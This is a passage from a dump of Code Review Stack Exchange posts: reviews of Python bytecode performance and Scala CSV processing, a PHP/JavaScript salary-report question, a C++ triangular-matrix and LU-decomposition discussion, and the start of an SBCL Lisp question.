see if it was overridden. Every. Single. Time.</p>\n\n<p>On the other hand, the very next opcode is a <code>LOAD_FAST</code> of the <code>rows</code> variable. You might think that this was a faster operation than the <code>LOAD_GLOBAL</code>. I could not possibly comment.</p>\n\n<p>When you're inside the innermost loop of your code and you want performance, you need to put <em>every single thing</em> in local variables. Especially the functions.</p>\n\n<pre><code> 4 28 JUMP_ABSOLUTE 6\n\n 5 >> 30 LOAD_FAST 1 (rows)\n 32 LOAD_METHOD 1 (split)\n 34 LOAD_CONST 1 (',')\n 36 CALL_METHOD 1\n 38 LOAD_CONST 3 (0)\n 40 BINARY_SUBSCR\n 42 STORE_FAST 2 (userKeyID)\n</code></pre>\n\n<p>Notice the lookup and call to <code>split</code>? Remember that you did the same call to <code>split</code> on the previous line? Rule 3 strikes again! Lookups are repeated every single time. Function calls are not memoized unless you do it, or unless you're using a library whose documentation says \"function calls are memoized.\" </p>\n\n<p>If you compute a result, save it in a local variable until you're sure you're done with it.</p>\n\n<pre><code> 6 44 SETUP_EXCEPT 22 (to 68)\n\n 7 46 LOAD_GLOBAL 2 (int)\n 48 LOAD_FAST 1 (rows)\n 50 LOAD_METHOD 1 (split)\n 52 LOAD_CONST 1 (',')\n 54 CALL_METHOD 1\n 56 LOAD_CONST 4 (1)\n 58 BINARY_SUBSCR\n 60 CALL_FUNCTION 1\n 62 STORE_FAST 3 (curTimeStamp)\n 64 POP_BLOCK\n 66 JUMP_ABSOLUTE 6\n\n 8 >> 68 DUP_TOP\n 70 LOAD_GLOBAL 3 (ValueError)\n 72 COMPARE_OP 10 (exception match)\n 74 POP_JUMP_IF_FALSE 104\n 76 POP_TOP\n 78 POP_TOP\n 80 POP_TOP\n</code></pre>\n\n<p>The immediately preceding paragraph is \"exception matching\". It's a comparison of the exception received versus the exception expected. If you simply do <code>except: ...</code> there is no matching. It's probably worth it for situations where you absolutely know what exceptions are going to be raised.</p>\n\n<pre><code> 9 82 LOAD_GLOBAL 4 (print)\n 84 LOAD_CONST 5 ('Invalid Timestamp for ID:')\n 86 LOAD_GLOBAL 5 (str)\n 88 LOAD_FAST 2 (userKeyID)\n 90 CALL_FUNCTION 1\n 92 BINARY_ADD\n 94 CALL_FUNCTION 1\n 96 POP_TOP\n</code></pre>\n\n<p>Lots of lookups and stuff to process this error. If errors are common, just append the relevant data to a list and post-process the errors.</p>\n\n<pre><code> 10 98 CONTINUE_LOOP 6\n 100 POP_EXCEPT\n 102 JUMP_ABSOLUTE 6\n >> 104 END_FINALLY\n 106 JUMP_ABSOLUTE 6\n >> 108 POP_BLOCK\n >> 110 LOAD_CONST 0 (None)\n 112 RETURN_VALUE\n</code></pre>\n\n<p>I'm not going to bother with the remainder of the function -- you can do it yourself with your own REPL. But I'll point out two glaring issues:</p>\n\n<pre><code> if userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==1 and curEvent == \"close\": \n\n elif userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==0 and curEvent == \"open\":\n</code></pre>\n\n<p>First: never throw away data. In this case, you're checking if the user id is in the dictionary (in a pathologically bad way, see Graipher's answer) and then discarding that information. Also, you compare the event with \"open\" or \"closed\" in multiple places, and then throw it away. Stop doing that.</p>\n\n<p>Next: Never repeat a lookup. Every time you write <code>avgTimeSpentDict[userKeyID]...</code> a kitten is murdered. </p>\n\n<p>You should be striving to accomplish as much as you can with as few lookups as possible. Every significant function and data structure should be accessible through a single local variable. In many cases, bound methods can be loaded into variables as long as the underlying object is not changing. (Thus, the <code>rows</code> variable is not a candidate, but a list of errors' <code>append</code> method would be a candidate.)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T00:58:23.877",
"Id": "217590",
"ParentId": "217434",
"Score": "3"
}
},
{
"body": "<p>This is a review of your Scala solution.</p>\n\n<p>It appears to be written by someone who doesn't understand Scala (and Functional Programming) or just doesn't like it. Witness all the semicolons in the <code>readInputFile()</code> method.</p>\n\n<p>There are a number of curious aspects to the code. I'll touch on just a few.</p>\n\n<pre><code>import java.util.{Scanner, Map, LinkedList}\nimport java.lang.Long\n</code></pre>\n\n<p>Why import Java's <code>LinkedList</code> and <code>Long</code>? Scala offers a native <code>Long</code> as well as a number of collection types with various performance characteristics.</p>\n\n<pre><code>val emptyUserInfo: LinkedList[UserInfo] = new LinkedList[UserInfo]()\n\nval lsUserInfo: LinkedList[UserInfo] = usermap.getOrElse(userId, emptyUserInfo)\n</code></pre>\n\n<p>Why create an <code>emptyUserInfo</code> if you <em>might</em> use it? Why not create it only when you need it?</p>\n\n<p>And there's this funny <code>if</code>/<code>else if</code> pattern that occurs several times.</p>\n\n<pre><code>if (someCondition) ...\nelse if (!sameCondition) ...\n</code></pre>\n\n<p>Why test for a condition that is <em>guaranteed</em> to be true?</p>\n\n<p><strong>fault tolerance</strong></p>\n\n<p>In general, the code doesn't appear to be very resilient. It throws an error if the input file can't be found, or if any of the <code>userId</code> fields or the <code>currTimeStamp</code> fields can't be parsed. If the <code>status</code> field, on the other hand, is not as expected (maybe an unexpected space on the end) then the entire record is silently dropped without notice.</p>\n\n<p><strong>Scala style</strong></p>\n\n<p>Idiomatic Scala adheres to the principles of Functional Programming, in particular: limited mutability. It's also a good idea to use the type system to capture and manage the possibility of errors.</p>\n\n<p>Here's an implementation of your basic task, redesigned with these principles in mind. This produces the same output as your code, as far as my limited testing can determine.</p>\n\n<pre><code>import util.Try\n\nval inFormat = raw\"\\s*(\\w+)\\s*,\\s*(\\d+)\\s*,\\s*(open|close)\\s*\".r\ncase class Stats(timestamp :Long, accumulator :Long, sessionCount :Int)\n\nval file = Try(io.Source.fromFile(fileName))\n\nval data = file.map(_.getLines().flatMap{line =>\n Try{line match {case inFormat(a,b,c) => (a, if(c==\"open\") -b.toLong\n else b.toLong)}\n }.fold(_ => {println(s\"bad input: $line\");None}, Some(_))\n}.foldLeft(Map[String,Stats]().withDefaultValue(Stats(0,0,0))){\n case (m,(id,thisTS)) =>\n val Stats(prevTS, acc, cnt) = m(id)\n if (prevTS < 0 && thisTS < 0) {\n println(\"missing close\")\n m + (id -> Stats(prevTS, acc, cnt+1))\n } else if (prevTS > 0 && thisTS > 0) {\n println(\"missing open\")\n m + (id -> Stats(thisTS, acc - prevTS + thisTS, cnt+1))\n } else if (prevTS < 0 && thisTS > 0) //open-->close\n m + (id -> Stats(thisTS, acc + prevTS + thisTS, cnt+1))\n else //close-->open\n m + (id -> Stats(thisTS, acc, cnt))\n})\n\nval result = file.map(_.close).flatMap(_ => data.map(_.foreach{\n case (id,Stats(_,total,count)) => println(s\"{$id,${total/count}}\")}))\n</code></pre>\n\n<p>The final <code>result</code> is either <code>Failure(/*exception type here*/)</code> or <code>Success(())</code>. (The <code>Success</code> is empty because <code>println()</code> returns <code>Unit</code>.) Also, faulty input is recognized and reported. There are no mutable variables or data structures.</p>\n\n<p>It's not uncommon for Scala coders to forego cherished FP principles when efficiency and throughput becomes an issue, but it's usually a good idea to start with best practices and then deviate only when a good profiler indicates where it's necessary.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T07:27:50.907",
"Id": "217607",
"ParentId": "217434",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217493",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T11:34:17.357",
"Id": "217434",
"Score": "3",
"Tags": [
"python",
"csv",
"scala",
"statistics",
"memory-optimization"
],
"Title": "Computing average duration per user from a large CSV file that doesn't fit in memory"
} | 217434 |
<p>I had to create a report which presents the salary structure of a firm.</p>
<p>The data needed was provided by the client as CSV-files. </p>
<p>I used PHP for the reading and preprocessing of the data. The actual presentation was done with HTML, CSS and JavaScript.</p>
<p>The markup and PHP which I have created: </p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code><html>
<head>
<meta charset="UTF-8">
<title>Analyse Vergütungsstruktur</title>
<link href="./lib/bootstrap.min.css" rel="stylesheet" />
<link href="./css/style.css" rel="stylesheet" />
</head>
<body>
<div class="container">
<h1>Analyse Vergütungsstruktur</h1>
<div id="generalInfos">
<ul class="flex-container">
<li class="flex-item">Stand Abrechnungszeitraum</li>
<li class="flex-item">MM.JJJJ</li>
</ul>
<ul class="flex-container">
<li class="flex-item">Ausgewertete Firma/Standorte:</li>
<li class="flex-item">Aufzählung der ausgewählten Firma/Standorte</li>
</ul>
<ul class="flex-container">
<li class="flex-item">Anzahl ausgewertete Mitarbeiter</li>
<li class="flex-item">Wert aus Opti VU</li>
</ul>
</div>
<div id="accordion">
<div class="card">
<div class="card-header" id="headingOne">
<h5 class="mb-0">
<button class="btn btn-link" data-toggle="collapse" data-target="#collapseOne"
aria-expanded="true" aria-controls="collapseOne">
Löhne und Gehälter
</button>
</h5>
</div>
<div id="collapseOne" class="collapse show" aria-labelledby="headingOne" data-parent="#accordion">
<div class="card-body">
<table id="salaryTable" class="table table-stripped">
<tr>
<th>Gehälter</th>
<th>Anzahl MA</th>
<th>in %</th>
<th>Stundenlöhne</th>
<th>Anzahl MA</th>
<th>in %</th>
</tr>
</table>
</div>
</div>
</div>
<div class="card">
<div class="card-header" id="headingOne">
<h5 class="mb-0">
<button class="btn btn-link collapsed" data-toggle="collapse"
data-target="#collapseTwo" aria-expanded="false" aria-controls="collapseTwo">
Monatliche brutto Zulagen und Zuschläge
</button>
</h5>
</div>
<div id="collapseTwo" class="collapse" aria-labelledby="headingTwo" data-parent="#accordion">
<div class="card-body">
<table id="benefitsTable" class="table table-stripped">
<tr>
<th></th>
<th>Anzahl MA</th>
<th>Niedrigster Betrag</th>
<th>Höchster Betrag</th>
<th>Durchschnittlicher Betrag</th>
</tr>
</table>
</div>
</div>
<div class="card">
<div class="card-header" id="headingOne">
<h5 class="mb-0">
<button class="btn btn-link collapsed" data-toggle="collapse"
data-target="#collapseThree" aria-expanded="false" aria-controls="collapseThree">
Stundenlöhne
</button>
</h5>
</div>
<div id="collapseThree" class="collapse" aria-labelledby="headingThree" data-parent="#accordion">
<div class="card-body">
<table id="hourlySalariesTable" class="table table-stripped">
<tr>
<th>Stundenlohn Kategorien</th>
<th>Anzahl MA</th>
</tr>
</table>
</div>
</div>
</div>
<fieldset class="radio-group">
<legend>Auswahl Diagramm</legend>
<div>
<input type="radio" id="salaries" name="diagramSelection" value="salaries"
checked>
<label for="salaries">Gehalt</label>
</div>
<div>
<input type="radio" id="benefits" name="diagramSelection" value="benefits">
<label for="benefits">Zulagen</label>
</div>
<div>
<input type="radio" id="hourlySalaries" name="diagramSelection" value="hourly">
<label for="hourlySalaries">Stundenlöhne</label>
</div>
</fieldset>
<div id="chart">
<canvas id="doughnutChart" width="800" height="450"></canvas>
</div>
</div>
<?php
function transferCsvToArray($fileName) {
$fh = fopen("./data/$fileName.csv", "r");
$retArray = array();
while (($row = fgetcsv($fh, 0, ",")) !== FALSE) {
$retArray[] = $row;
}
return $retArray;
}
$salaries = transferCsvToArray("gehaelter");
$salaryBenefits = transferCsvToArray("zulagen");
$hourlySalaries = transferCsvToArray("stundenlohn");
?>
<script>
const ooData = {}; // "oo" is a namespace for to avoid collisions.
ooData.salaries = <?php echo json_encode($salaries) ?>;
ooData.salaryBenefits = <?php echo json_encode($salaryBenefits) ?>;
ooData.hourlySalaries = <?php echo json_encode($hourlySalaries) ?>;
</script>
<script src="./lib/jquery.js"></script>
<script src="./lib/bootstrap.min.js"></script>
<script src="./lib/chartjs.js"></script>
<script src="./js/utils.js"></script>
<script src="./js/main.js"></script>
</body>
</html></code></pre>
</div>
</div>
</p>
<p>The JavaScript-files:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>(() => {
let chart = null;
const createTableSalary = (salaries, totalEmployees) => {
const hourlyEarnings = [
"unter 8.84 €/Std.",
"bis 11.50 €/Std.",
"bis 14.37 €/Std.",
"bis 17.24 €/Std.",
"bis 20.1 €/Std.",
"bis 22.99 €/Std.",
"bis 25.43 €/Std.",
"bis 28.74 €/Std.",
"bis 31.61 €/Std.",
"bis 34.48 €/Std.",
"bis 37.36 €/Std.",
"über 37.36 €/Std.",
];
salaries.forEach((salary, index) => {
const inPercent = ooUtils.computePercentage(totalEmployees, salary[1]);
document.getElementById("salaryTable").insertAdjacentHTML(
"beforeend",
`<tr class="salary-group">
<td>${salary[0]}€</td>
<td>${salary[1]}</td>
<td>${inPercent}</td>
<td>${hourlyEarnings[index]}</td>
<td>${salary[1]}</td>
<td>${inPercent}</td>
</tr>`);
});
};
const createBenefitsTable = (benefits) => {
benefits.forEach((benefit) => {
const average
= (parseFloat(benefit[2], 10) + parseFloat(benefit[3], 10)) / 2;
document.getElementById("benefitsTable").insertAdjacentHTML(
"beforeend",
`<tr class="benefit">
<td>${benefit[0]}</td>
<td>${benefit[1]}</td>
<td>${benefit[2]} €</td>
<td>${benefit[3]} €</td>
<td>${average.toFixed(2)} €</td>
</tr>`
);
});
};
const createHourlySalariesTable = (salaries) => {
salaries.forEach((salary) => {
document.getElementById("hourlySalariesTable").insertAdjacentHTML(
"beforeend",
`<tr class="benefit">
<td>${salary[0]}</td>
<td>${salary[1]}</td>
</tr>`
);
});
};
const setUpChart = (table, chartTitle) => {
const createChart = (labels, data, backgroundColor, titleText = "Darstellung als Diagramm") => {
if (chart) {
chart.destroy(); // Otherwise prior instances of chart want be removed somehow. And then they cause weird behaviour.
}
chart = new Chart(document.getElementById("doughnutChart"), {
type: 'doughnut',
data: {
labels,
datasets: [{
backgroundColor,
data
}]
},
options: {
title: {
display: true,
text: titleText
}
}
});
};
const mapFirstTwoColumns = (table) => {
const columns = { first: [], second: [] };
for (let i = 0; i < table.length; i++) {
columns.first.push(table[i][0]);
columns.second.push(table[i][1]);
}
return columns;
};
const columns = mapFirstTwoColumns(table);
createChart(columns.first, columns.second,
ooUtils.createRandomColors(columns.first.length),
chartTitle);
};
const switchChart = (idCurrent = "") => {
switch (idCurrent) {
case "benefits":
setUpChart(benefitsTruncated, "Monatliche brutto Zulagen und Zuschläge");
break;
case "hourlySalaries":
setUpChart(hourlySalariesTruncated, "Stundenlöhne");
break;
default:
setUpChart(salariesTruncated, "Löhne und Gehälter");
break;
}
};
const salariesTruncated = ooData.salaries.slice(1);
createTableSalary(salariesTruncated, ooUtils.computeSum(salariesTruncated));
const benefitsTruncated = ooData.salaryBenefits.slice(1);
createBenefitsTable(benefitsTruncated);
const hourlySalariesTruncated = ooData.hourlySalaries.slice(1);
createHourlySalariesTable(hourlySalariesTruncated);
document.querySelectorAll("[name=diagramSelection]").forEach((radioButton) => {
radioButton.addEventListener("change", (event) => {
switchChart(event.target.id);
});
});
switchChart();
})();</code></pre>
</div>
</div>
</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const ooUtils = {};
ooUtils.computeSum = (salaries) => {
return salaries.reduce((sum, current) => {
return sum + parseInt(current[1], 10);
}, 0);
};
ooUtils.computePercentage = (total, subSet) => {
return ((subSet * 100) / total).toFixed(1);
};
ooUtils.createRandomColors = (times) => {
const createColor = () => Math.floor(Math.random() * 256);
const randomColors = [];
for (let i = 0; i < times; i++) {
const randomColor =
`rgb(${createColor()}, ${createColor()}, ${createColor()})`;
randomColors.push(randomColor);
}
return randomColors;
};</code></pre>
</div>
</div>
</p>
<p>The report looks decent and works fine.</p>
<p>Link to the GitHub-repository with the full project structure and screenshots: <a href="https://github.com/mizech/analyse-verguetung" rel="nofollow noreferrer">GitHub Repo</a></p>
<p>But not really satisfied with my code.</p>
<p><strong>Is there a way to reduce the amount of repetition when creating the different tables?</strong> </p>
<p>Moreover:</p>
<p><strong>Are my DOM-manipulations done in a good way and fashion?</strong></p>
<p><strong>In general: What would you have done differently and why?</strong></p>
<p>Looking forward to reading for comments and answers.</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T12:14:35.730",
"Id": "217436",
"Score": "1",
"Tags": [
"javascript",
"php5",
"data-visualization",
"twitter-bootstrap"
],
"Title": "Salary-structure report using a web-presentation"
} | 217436 |
<p>I've written a class for square numerical matrices (of <code>double</code>s, in this case), in <code>C++11</code>. Since I intend to use this class later for implementing an <span class="math-container">\$LU\$</span> decomposition, I also subclassed the main <code>Matrix</code> class with <code>LowerTriangular</code> and <code>UpperTriangular</code> matrix classes. Taking advantage of the fact that an <span class="math-container">\$n\$</span> by <span class="math-container">\$n\$</span> triangular matrix only has <span class="math-container">\$\frac{n(n + 1)}{2}\$</span> [potentially nonzero] elements, the latter two classes have been space-optimized accordingly. Alas, that optimization introduced some clumsiness and decision-making regarding the interface, as you will see.</p>
<p>Some quick preliminaries:</p>
<pre class="lang-cpp prettyprint-override"><code>#include <valarray>
#include <initializer_list>
#include <iterator>
#include <stdexcept>
using std::size_t;
using std::ptrdiff_t;
typedef size_t index_t;
template<typename T>
using nested_init_list = std::initializer_list<std::initializer_list<T>>;
</code></pre>
<p><br></p>
<h1>The <code>Matrix</code> class</h1>
<p>Here's the synopsis for the main <code>Matrix</code> class. It uses a single (flat) <code>std::valarray<double></code> to store its elements. Thus, the subscript operator (which in this case is <code>operator()</code>), needs to perform a small amount of logic to get the corresponding element, by using <code>flattenIndex</code>, which converts an index of the form <code>(index_t i, index_t j)</code> to a single index to subscript the internal flat array. You'll see why I made the subscript operators <code>virtual</code> in the next section. The same applies for choosing to make a custom iterator class instead of just using <code>double *</code> and <code>const double *</code>.</p>
<pre class="lang-cpp prettyprint-override"><code>/// Representation of a square matrix
class Matrix {
public:
/// Create an n*n dense matrix with entries set to 0
explicit Matrix(size_t n) : Matrix(n, n*n) {}
/// Construct a matrix from a 2-dimensional init list
Matrix(const nested_init_list<double> &init);
// Getters:
inline size_t size() const { return _n; }
inline const std::valarray<double> &data() { return _data; }
// Subscript operators (const and non-const):
virtual double operator()(index_t i, index_t j) const;
virtual double &operator()(index_t i, index_t j);
// Iterator stuff:
class iterator;
class const_iterator;
const_iterator begin() const;
const_iterator end() const;
iterator begin();
iterator end();
protected:
size_t _n; /// dimension of matrix
std::valarray<double> _data; /// flat array containing the data
// Constructs an n*n Matrix with custom data size (intended for subclasses)
Matrix(size_t dimension, size_t dataSize) : _n(dimension), _data(0.0, dataSize) {}
// Throws exception if (i, j) is out-of-bounds (i.e. i >= _n or j >= _n)
void checkMatrixBounds(index_t i, index_t j) const;
// Get the appropriate index for the internal flat array
virtual inline
index_t flattenIndex(index_t i, index_t j) const { return _n*i + j; };
private:
class base_iterator;
};
</code></pre>
<h2>Implementation</h2>
<p>Excluding stuff involving iterators, which I'll put in a separate section.</p>
<pre class="lang-cpp prettyprint-override"><code>Matrix::Matrix(const nested_init_list<double> &init) : _n(init.size()), _data(_n*_n) {
index_t i = 0;
for (const auto &row : init) {
if (row.size() != _n)
throw std::invalid_argument("unevenly sized init list for square matrix");
for (double num : row) _data[i++] = num;
}
}
double Matrix::operator()(index_t i, index_t j) const {
checkMatrixBounds(i, j);
return _data[flattenIndex(i, j)];
}
double &Matrix::operator()(index_t i, index_t j) {
checkMatrixBounds(i, j);
return _data[flattenIndex(i, j)];
}
inline
void Matrix::checkMatrixBounds(index_t i, index_t j) const {
if (i >= _n or j >= _n) throw std::out_of_range("matrix subscript out of range");
}
</code></pre>
<hr>
<p><br></p>
<h1>Triangular subclasses</h1>
<p>I made a <code>Triangular</code> abstract subclass, from which both <code>LowerTrinagular</code> and <code>UpperTriangular</code> inherit, to avoid some code duplication. Its main feature, as mentioned earlier, is that it only physically contains <span class="math-container">\$\frac{n(n + 1)}{2}\$</span> elements. My goal is to maintain the interface of a general matrix as much as possible, so that algorithms dealing with references to matrices don't need to care, in general, if the matrix is triangular or not. In order to be able to subscript the matrix as usual, though, we need to override the subscript operator.</p>
<h2><code>Triangular</code></h2>
<pre class="lang-cpp prettyprint-override"><code>/// Abstract Matrix subclass for triangular matrices
class Triangular : public Matrix {
public:
double operator()(index_t i, index_t j) const override;
double &operator()(index_t i, index_t j) override;
protected:
explicit Triangular(size_t n) : Matrix(n, n*(n + 1)/2) {}
void initFromList(const nested_init_list<double> &init);
virtual bool isInTriangle(index_t i, index_t j) const = 0;
virtual size_t rowSize(index_t i) const = 0;
};
</code></pre>
<p>This class declares some (pure) virtual methods, whose definition is dependent on whether the matrix is lower/upper triangular, that are used in the subscript operator. This way the subscript operator only needs to be written once (in the <code>Triangular</code> class) and works for both cases.</p>
<p>The <code>initFromList</code> is a method used in the construction of triangular matrices. Since it needs access to virtual methods, it is not made into a <code>Triangular</code> constructor.</p>
<h3>Implementation</h3>
<p>I've chosen to implement the modified subscript operators as follows. The <code>const</code> version returns by value; it returns the (i, j)-th element of the matrix as expected: the stored value if (i, j) is within the "triangle", and 0 otherwise. So there's no difference from a dense matrix storing all of the zeros.</p>
<pre class="lang-cpp prettyprint-override"><code>double Triangular::operator()(index_t i, index_t j) const {
checkMatrixBounds(i, j);
if (not isInTriangle(i, j)) return 0;
return _data[flattenIndex(i, j)];
}
</code></pre>
<p>The non-<code>const</code> version was more difficult to decide on; in fact, I'm not sure whether to keep the following approach. Since the non-const version returns a non-const reference to the element, if the requested (i, j)-th element is outside the triangle, an exception is raised (since modifying an element outside of the "triangle" to a non-zero value would make the matrix non-triangular).</p>
<pre class="lang-cpp prettyprint-override"><code>double &Triangular::operator()(index_t i, index_t j) {
checkMatrixBounds(i, j);
if (not isInTriangle(i, j))
throw std::out_of_range("cannot write to null side of triangular matrix");
return _data[flattenIndex(i, j)];
}
</code></pre>
<p>Some other stuff:</p>
<pre class="lang-cpp prettyprint-override"><code>void Triangular::initFromList(const nested_init_list<double> &init) {
index_t flattened = 0;
index_t i = 0;
for (const auto &initRow : init) {
size_t initRowSize = initRow.size();
if (initRowSize < rowSize(i) or initRowSize > _n)
throw std::invalid_argument("unevenly sized init list");
index_t j = 0;
for (double num : initRow) {
if (not isInTriangle(i, j)) {
if (num != 0.0)
throw std::invalid_argument("null side of triangular matrix should be zero");
} else _data[flattened++] = num;
++j;
}
++i;
}
}
</code></pre>
<h2><code>LowerTriangular</code> and <code>UpperTriangular</code></h2>
<p>These classes just "concretize" the concepts declared by <code>Triangular</code>; most of the heavy lifting is done by the latter, so there isn't much to comment.</p>
<pre class="lang-cpp prettyprint-override"><code>class LowerTriangular : public Triangular {
public:
explicit LowerTriangular(size_t n) : Triangular(n) {}
LowerTriangular(const nested_init_list<double> &init) : Triangular(init.size()) {
initFromList(init);
}
private:
inline index_t flattenIndex(index_t i, index_t j) const override { return i*(i + 1)/2 + j; }
inline bool isInTriangle(index_t i, index_t j) const override { return j <= i; }
inline size_t rowSize(index_t i) const override { return i; }
};
class UpperTriangular : public Triangular {
public:
explicit UpperTriangular(size_t n) : Triangular(n) {}
UpperTriangular(const nested_init_list<double> &init) : Triangular(init.size()) {
initFromList(init);
}
private:
inline index_t flattenIndex(index_t i, index_t j) const override { return i*_n - i*(i + 1)/2 + j; }
inline bool isInTriangle(index_t i, index_t j) const override { return j >= i; }
inline size_t rowSize(index_t i) const override { return _n - i; }
};
</code></pre>
<hr>
<p><br></p>
<h1>Concerns</h1>
<p>Among others:</p>
<ul>
<li>The slight inconsistency in the interface for triangular vs. dense matrices (raising an exception when requesting a non-<code>const</code> reference to an element outside the triangle)</li>
<li>Complexity of the overall design</li>
</ul>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T03:31:35.213",
"Id": "420850",
"Score": "0",
"body": "You know you can keep the L and U factors together in a rectangular matrix, right? That's what LAPACK does too. But that kind of defeats this question.."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:43:55.740",
"Id": "420874",
"Score": "0",
"body": "@harold Yes, but i want to have a conceptual separation between the two, instead of asking the user (even if it's just me) to be aware of how the L and U matrices are stored in a single square matrix. This way I can also keep the original matrix around too."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:53:37.573",
"Id": "420876",
"Score": "0",
"body": "@harold But maybe, now that you make me think of it, I don't need separate Lower and Upper subclasses, and just need to manage the logic for both in a LUDecomposition class, storing it as a square matrix. In any case, these classes could be reused for triangular matrices outside the scope of LU decomposition."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-24T09:04:51.420",
"Id": "422959",
"Score": "1",
"body": "I'd just like to point out that implementing your own math primitives is usually a bad idea and a waste of time (unless you're doing it for the fun of it, in which case go you!). There are many excellent libraries that implement this, that are battle tested and most likely much higher performing than your code. Personally I'm partial to [Eigen](http://eigen.tuxfamily.org/) that is a template library, thus header only. No linking, no runtimes, just include the headers and go."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-24T10:14:57.250",
"Id": "422966",
"Score": "0",
"body": "@EmilyL. It is partly for fun and partly because I needed it for an assignment :-) I will check out Eigen when I need the math seriously, thanks for the suggestion."
}
] | [
{
"body": "<p>In the end, since this was only needed (for now) for <span class=\"math-container\">\\$LU\\$</span> decomposition, I ended up ditching the lower/upper subclasses and went for the classical approach instead (as suggested by @harold), which is storing the lower and upper matrices of the decomposition in a single matrix, by taking advantage of the fact that <span class=\"math-container\">\\$L\\$</span> is unit triangular:</p>\n\n<p><span class=\"math-container\">$$ \\begin{pmatrix} u_{1,1} & u_{1,2} & u_{1, 3} & \\cdots & u_{1,n}\\\\\n\\ell_{2,1} & u_{2,2} & u_{2, 3} & \\cdots & u_{2,n}\\\\\n\\ell_{3,1} & \\ell_{3,2} & u_{3, 3} & \\cdots & u_{3,n}\\\\\n\\vdots & \\vdots & \\ddots & \\ddots & \\vdots\\\\\n\\ell_{n,1} & \\ell_{n,2} & \\cdots & \\ell_{n, n-1} & u_{n, n}\\\\\n\\end{pmatrix} $$</span></p>\n\n<p>where <span class=\"math-container\">\\$\\ell_{i,j}\\$</span> and <span class=\"math-container\">\\$u_{i,j}\\$</span> are the elements of <span class=\"math-container\">\\$L\\$</span> and <span class=\"math-container\">\\$U\\$</span> respectively. </p>\n\n<p>So I made an <span class=\"math-container\">\\$LU\\$</span> class that internally stores a matrix as mentioned, with read-only interfaces for the lower/upper matrices:</p>\n\n<pre class=\"lang-cpp prettyprint-override\"><code>class LUDecomposition {\npublic:\n /**\n * Compute the LU decomposition of a matrix.\n * @param mat matrix to decompose\n * @param tol numerical tolerance\n * @throws SingularMatrixError if mat is singular\n */\n explicit LUDecomposition(const Matrix &mat, double tol = numcomp::DEFAULT_TOL);\n LUDecomposition() = default;\n\n class L;\n class U;\n L lower() const;\n U upper() const;\n\n // [...]\n\nprivate:\n Matrix _mat; ///< decomposition matrix (internal data storage)\n\n // [...]\n};\n</code></pre>\n\n<p>Here are the interfaces for <code>LUDecomposition::L</code> and <code>LUDecomposition::U</code>:</p>\n\n<pre class=\"lang-cpp prettyprint-override\"><code>class LUDecomposition::L {\n L(const LUDecomposition &luObj) : _luObj(luObj) {}\n\n double operator()(index_t i, index_t j) {\n if (j > i) throw std::out_of_range();\n if (i == j) return 1;\n return _luObj._mat(i, j);\n }\n\nprivate:\n const LUDecomposition &_luObj;\n}\n\nclass LUDecomposition::U {\n U(const LUDecomposition &luObj) : _luObj(luObj) {}\n\n double operator()(index_t i, index_t j) {\n if (i > j) throw std::out_of_range();\n return _luObj._mat(i, j);\n }\n\nprivate:\n const LUDecomposition &_luObj;\n}\n</code></pre>\n\n<p>I'm hesitant on whether these specific interfaces should inherit from <code>Matrix</code> in some way — they do offer (a very reduced subset of) <code>Matrix</code> functionality, but they are fairly different in some regards.</p>\n\n<p>This also has the advantage of not having to store the 1's in the lower matrix, as opposed to the more general approach for triangular matrices. The disadvantages are less conceptual separation between the two and the users having to be aware of the LU decomposition's internal representation.</p>\n\n<hr>\n\n<p>As you can guess, the definitions for <code>LUDecomposition::lower</code> and <code>LUDecomposition::upper</code> are just</p>\n\n<pre class=\"lang-cpp prettyprint-override\"><code>LUDecomposition::L LUDecomposition::lower() const { return L(*this); }\n\nLUDecomposition::U LUDecomposition::upper() const { return U(*this); }\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T10:24:28.730",
"Id": "217940",
"ParentId": "217448",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T17:12:01.830",
"Id": "217448",
"Score": "6",
"Tags": [
"c++",
"object-oriented",
"matrix",
"memory-optimization"
],
"Title": "Matrix class with space-optimized triangular (lower and upper) variants"
} | 217448 |
<p>I’m having trouble understanding an SBCL compiler note about unreachable code in the following function. The referenced code is attempting to push a value into an Lparallel queue: <code>(lparallel.queue:push-queue :stop problems)</code> which appears in line 9 of the function. Commenting out this line produces a clean compile of the function, and there are no other compiler complaints in the program. I assume there is some logical coding error that I’m missing, and would appreciate any insights.</p>
<p>Edit: The function itself (df-bnb) runs a depth-first branch & bound search in state space for a goal condition. Beginning with a starting state it builds a depth-first search tree of open nodes (plus closed nodes if graph search is requested), which are maintained in <code>*open*</code>. The function is composed of two basic parts, one for serial, the other for parallel, operation. The serial part works fine, but the compiler note (concerning line 9) relates to the parallel part.</p>
